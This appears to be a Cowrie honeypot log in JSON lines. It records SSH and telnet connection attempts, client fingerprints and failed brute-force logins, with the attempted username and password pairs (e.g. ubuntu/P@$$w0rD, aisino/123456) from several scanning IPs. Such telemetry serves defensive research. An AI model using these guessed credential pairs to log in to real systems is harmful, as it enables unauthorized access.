{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:40:29.906677Z","src_ip":"80.253.31.232","session":"02ad1f94e62c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@$$w0rD","message":"login attempt [ubuntu/P@$$w0rD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:40:30.428359Z","src_ip":"80.253.31.232","session":"02ad1f94e62c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:40:31.566753Z","src_ip":"80.253.31.232","session":"02ad1f94e62c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.126482248306274,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:40:32.776317Z","src_ip":"5.61.90.139","session":"ba7f0410f2ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59920,"dst_ip":"159.203.135.109","dst_port":22,"session":"28662df9f616","protocol":"ssh","message":"New connection: 159.203.92.129:59920 (159.203.135.109:22) [session: 28662df9f616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:40:33.294397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:40:33.300092Z","src_ip":"159.203.92.129","session":"28662df9f616","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:40:33.309256Z","src_ip":"159.203.92.129","session":"28662df9f616","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aisino","password":"1234","message":"login attempt [aisino/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:40:33.322214Z","src_ip":"159.203.92.129","session":"28662df9f616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:40:34.329274Z","src_ip":"159.203.92.129","session":"28662df9f616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.58919429779053,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:40:43.273691Z","src_ip":"5.61.90.139","session":"34c7b381d5c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.40092873573303,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:40:46.058395Z","src_ip":"5.61.90.139","session":"9f0226dcc3a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60536,"dst_ip":"10.17.0.5","dst_port":23,"session":"baadd386550e","protocol":"telnet","message":"New connection: 5.61.90.139:60536 (10.17.0.5:23) [session: baadd386550e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:41:13.439575Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":44372,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0d3479d9c3e","protocol":"ssh","message":"New connection: 80.253.31.232:44372 (159.203.135.109:22) [session: c0d3479d9c3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:41:15.909117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:41:15.914102Z","src_ip":"80.253.31.232","session":"c0d3479d9c3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:41:16.041816Z","src_ip":"80.253.31.232","session":"c0d3479d9c3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43798,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0c73060e757","protocol":"ssh","message":"New connection: 159.203.92.129:43798 (159.203.135.109:22) [session: e0c73060e757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:41:16.254432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:41:16.259371Z","src_ip":"159.203.92.129","session":"e0c73060e757","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:41:16.265413Z","src_ip":"159.203.92.129","session":"e0c73060e757","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aisino","password":"123456","message":"login attempt [aisino/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:41:16.301404Z","src_ip":"159.203.92.129","session":"e0c73060e757","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pesteste","password":"pesteste","message":"login attempt [pesteste/pesteste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:41:16.584877Z","src_ip":"80.253.31.232","session":"c0d3479d9c3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:41:17.330326Z","src_ip":"159.203.92.129","session":"e0c73060e757","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60538,"dst_ip":"10.17.0.5","dst_port":23,"session":"84a9093bef8b","protocol":"telnet","message":"New connection: 5.61.90.139:60538 (10.17.0.5:23) [session: 84a9093bef8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:41:17.434034Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:41:17.713963Z","src_ip":"80.253.31.232","session":"c0d3479d9c3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60540,"dst_ip":"10.17.0.5","dst_port":23,"session":"57bd6a86dd79","protocol":"telnet","message":"New connection: 5.61.90.139:60540 (10.17.0.5:23) [session: 57bd6a86dd79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:41:27.744881Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60544,"dst_ip":"10.17.0.5","dst_port":23,"session":"db8b2fa8a797","protocol":"telnet","message":"New connection: 5.61.90.139:60544 (10.17.0.5:23) [session: db8b2fa8a797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:41:28.282398Z"}
{"eventid":"cowrie.session.closed","duration":120.00178575515747,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:41:30.989678Z","src_ip":"146.120.225.17","session":"7a1b9b059773","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.120.225.17","src_port":51566,"dst_ip":"10.17.0.5","dst_port":23,"session":"777440523bbd","protocol":"telnet","message":"New connection: 146.120.225.17:51566 (10.17.0.5:23) [session: 777440523bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:41:31.980943Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.120.225.17","src_port":51828,"dst_ip":"10.17.0.5","dst_port":23,"session":"26da5645327f","protocol":"telnet","message":"New connection: 146.120.225.17:51828 (10.17.0.5:23) [session: 26da5645327f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:41:35.097149Z"}
{"eventid":"cowrie.session.closed","duration":39.16045904159546,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:41:52.599935Z","src_ip":"5.61.90.139","session":"baadd386550e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.77175974845886,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:41:57.205669Z","src_ip":"5.61.90.139","session":"84a9093bef8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38744,"dst_ip":"159.203.135.109","dst_port":22,"session":"69ab3881b6b2","protocol":"ssh","message":"New connection: 159.203.92.129:38744 (159.203.135.109:22) [session: 69ab3881b6b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:41:59.301704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:41:59.306506Z","src_ip":"159.203.92.129","session":"69ab3881b6b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:41:59.310294Z","src_ip":"159.203.92.129","session":"69ab3881b6b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aisino","password":"12345678","message":"login attempt [aisino/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:41:59.321827Z","src_ip":"159.203.92.129","session":"69ab3881b6b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:00.327988Z","src_ip":"159.203.92.129","session":"69ab3881b6b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":50748,"dst_ip":"159.203.135.109","dst_port":22,"session":"48d6913152dd","protocol":"ssh","message":"New connection: 80.253.31.232:50748 (159.203.135.109:22) [session: 48d6913152dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:02.592835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:02.597433Z","src_ip":"80.253.31.232","session":"48d6913152dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:02.721394Z","src_ip":"80.253.31.232","session":"48d6913152dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste123","message":"login attempt [teste/teste123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:03.242872Z","src_ip":"80.253.31.232","session":"48d6913152dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:04.384184Z","src_ip":"80.253.31.232","session":"48d6913152dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.968822956085205,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:06.713585Z","src_ip":"5.61.90.139","session":"57bd6a86dd79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.51989936828613,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:08.802180Z","src_ip":"5.61.90.139","session":"db8b2fa8a797","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60548,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6f2bc616207","protocol":"telnet","message":"New connection: 5.61.90.139:60548 (10.17.0.5:23) [session: e6f2bc616207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:30.375449Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60550,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f6dce830b4e","protocol":"telnet","message":"New connection: 5.61.90.139:60550 (10.17.0.5:23) [session: 3f6dce830b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:34.360403Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60552,"dst_ip":"10.17.0.5","dst_port":23,"session":"731c5c8a83e4","protocol":"telnet","message":"New connection: 5.61.90.139:60552 (10.17.0.5:23) [session: 731c5c8a83e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:34.708031Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35438,"dst_ip":"159.203.135.109","dst_port":22,"session":"6908f9657050","protocol":"ssh","message":"New connection: 159.203.92.129:35438 (159.203.135.109:22) [session: 6908f9657050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:40.967287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:42:40.971840Z","src_ip":"159.203.92.129","session":"6908f9657050","protocol":"ssh"}
